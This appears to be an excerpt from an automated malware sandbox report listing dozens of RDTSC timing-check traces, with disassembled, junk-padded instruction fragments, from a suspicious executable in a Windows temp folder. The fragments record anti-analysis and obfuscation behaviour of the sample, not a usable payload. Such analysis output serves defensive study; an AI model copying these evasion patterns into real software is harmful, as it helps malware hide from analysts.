Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180136 second address: 51801C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14059h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ecx, 14466C09h 0x00000015 popad 0x00000016 popad 0x00000017 test eax, eax 0x00000019 jmp 00007F44DCF1404Eh 0x0000001e je 00007F454ECC783Bh 0x00000024 jmp 00007F44DCF14050h 0x00000029 mov ecx, eax 0x0000002b pushad 0x0000002c mov edi, esi 0x0000002e pushfd 0x0000002f jmp 00007F44DCF1404Ah 0x00000034 adc ch, FFFFFFB8h 0x00000037 jmp 00007F44DCF1404Bh 0x0000003c popfd 0x0000003d popad 0x0000003e xor eax, dword ptr [ebp+08h] 0x00000041 jmp 00007F44DCF1404Fh 0x00000046 and ecx, 1Fh 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51801C2 second address: 51801C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51801C6 second address: 51801CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51801CC second address: 51801D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51801D1 second address: 51801FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007F44DCF14052h 0x00000010 leave 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F44DCF1404Ah 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51801FD second address: 518020C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518020C second address: 5180267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14059h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00C32014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F44E14A42A2h 0x00000024 push FFFFFFFEh 0x00000026 pushad 0x00000027 mov edx, ecx 0x00000029 mov ah, E4h 0x0000002b popad 0x0000002c pop eax 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F44DCF14051h 0x00000034 sbb cx, F926h 0x00000039 jmp 00007F44DCF14051h 0x0000003e popfd 0x0000003f popad 0x00000040 ret 0x00000041 nop 0x00000042 push eax 0x00000043 call 00007F44E14A42D0h 0x00000048 mov edi, edi 0x0000004a pushad 0x0000004b push edi 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180267 second address: 5180292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F44DCF2CAF5h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F44DCF2CAEDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180292 second address: 5180298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5180298 second address: 518029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 518029C second address: 51802D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F44DCF14056h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44DCF14057h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51802D5 second address: 51802FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51802FA second address: 518030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513001B second address: 5130021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130021 second address: 5130025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130025 second address: 5130044 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e call 00007F44DCF2CAEFh 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130044 second address: 513004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513004A second address: 513004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513004E second address: 51300A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F44DCF1404Ch 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 call 00007F44DCF1404Eh 0x00000018 jmp 00007F44DCF14052h 0x0000001d pop esi 0x0000001e mov ecx, edi 0x00000020 popad 0x00000021 and esp, FFFFFFF8h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F44DCF1404Fh 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51300A2 second address: 51300BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51300BF second address: 51300C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51300C5 second address: 51300C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51300C9 second address: 51300FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14053h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F44DCF14056h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51300FE second address: 513011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov edi, 02F4C0AEh 0x0000000c popad 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F44DCF2CAF0h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513011E second address: 5130134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130134 second address: 513013A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513013A second address: 5130157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF14059h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130157 second address: 51301C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 52735859h 0x0000000f jmp 00007F44DCF2CAF6h 0x00000014 popad 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 mov ecx, 37BD543Dh 0x0000001c pushfd 0x0000001d jmp 00007F44DCF2CAEAh 0x00000022 add esi, 3C91B218h 0x00000028 jmp 00007F44DCF2CAEBh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebx, dword ptr [ebp+10h] 0x00000032 pushad 0x00000033 mov ebx, ecx 0x00000035 mov cx, FFC7h 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e call 00007F44DCF2CAF6h 0x00000043 pop eax 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51301C8 second address: 51301D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, edx 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51301D8 second address: 51301DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51301DC second address: 51301E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51301E2 second address: 5130213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F44DCF2CAF0h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 pushad 0x00000014 push esi 0x00000015 pop ebx 0x00000016 mov bx, si 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov dx, si 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130213 second address: 5130236 instructions: 0x00000000 rdtsc 0x00000002 call 00007F44DCF1404Eh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f call 00007F44DCF1404Ah 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130236 second address: 513025B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ah, E8h 0x0000000b popad 0x0000000c mov dword ptr [esp], edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44DCF2CAEEh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513025B second address: 5130275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, ax 0x00000011 push esi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130275 second address: 513028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF2CAF4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513028D second address: 5130291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130291 second address: 51302E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F454ED2AE62h 0x0000000e pushad 0x0000000f pushad 0x00000010 mov si, di 0x00000013 mov ax, di 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007F44DCF2CAEBh 0x0000001d add esi, 75B3BC7Eh 0x00000023 jmp 00007F44DCF2CAF9h 0x00000028 popfd 0x00000029 popad 0x0000002a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51302E2 second address: 51302F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51302F5 second address: 5130323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F454ED2ADFFh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ax, dx 0x00000015 mov di, B8FAh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130323 second address: 5130366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14050h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F44DCF14058h 0x00000015 xor ah, FFFFFF98h 0x00000018 jmp 00007F44DCF1404Bh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130366 second address: 513036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 513036C second address: 5130370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120867 second address: 51208B7 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a jmp 00007F44DCF2CAECh 0x0000000f and esp, FFFFFFF8h 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 call 00007F44DCF2CAF3h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e popad 0x0000001f push edx 0x00000020 jmp 00007F44DCF2CAF2h 0x00000025 mov dword ptr [esp], ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208B7 second address: 51208BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208BD second address: 51208C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208C3 second address: 51208C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208C7 second address: 51208E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F44DCF2CAF4h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208E8 second address: 51208F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 51208F7 second address: 512091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 512091B second address: 5120921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120921 second address: 5120944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 82h 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F44DCF2CAF5h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120944 second address: 512094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 512094C second address: 5120963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF2CAEBh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120963 second address: 5120969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120969 second address: 512096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 512096D second address: 5120A1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F44DCF14058h 0x00000014 popad 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ebx 0x00000018 pop esi 0x00000019 popad 0x0000001a test esi, esi 0x0000001c jmp 00007F44DCF1404Fh 0x00000021 je 00007F454ED19A29h 0x00000027 pushad 0x00000028 call 00007F44DCF14054h 0x0000002d mov cx, F871h 0x00000031 pop ecx 0x00000032 pushfd 0x00000033 jmp 00007F44DCF14057h 0x00000038 add eax, 0FA63ADEh 0x0000003e jmp 00007F44DCF14059h 0x00000043 popfd 0x00000044 popad 0x00000045 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F44DCF1404Dh 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120A1A second address: 5120A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120A37 second address: 5120A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120A3B second address: 5120A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120A41 second address: 5120AD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44DCF14050h 0x00000009 sub esi, 4D75DC68h 0x0000000f jmp 00007F44DCF1404Bh 0x00000014 popfd 0x00000015 call 00007F44DCF14058h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e je 00007F454ED19966h 0x00000024 pushad 0x00000025 pushad 0x00000026 mov si, di 0x00000029 mov di, B90Ch 0x0000002d popad 0x0000002e mov al, dh 0x00000030 popad 0x00000031 test byte ptr [76FB6968h], 00000002h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F44DCF14059h 0x00000041 sbb esi, 27267E96h 0x00000047 jmp 00007F44DCF14051h 0x0000004c popfd 0x0000004d mov ah, 67h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120AD5 second address: 5120AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF2CAF9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120AF2 second address: 5120AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120AF6 second address: 5120B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F454ED3239Eh 0x0000000e jmp 00007F44DCF2CAEDh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B1A second address: 5120B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B1E second address: 5120B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B22 second address: 5120B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B28 second address: 5120B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44DCF2CAF0h 0x00000009 jmp 00007F44DCF2CAF5h 0x0000000e popfd 0x0000000f call 00007F44DCF2CAF0h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F44DCF2CAEDh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B76 second address: 5120B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120B7C second address: 5120BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b pushad 0x0000000c mov dh, 2Fh 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F44DCF2CAF8h 0x00000015 push eax 0x00000016 pushad 0x00000017 jmp 00007F44DCF2CAF1h 0x0000001c mov esi, 5DA74A47h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F44DCF2CAF9h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120C40 second address: 5120C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120C44 second address: 5120C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
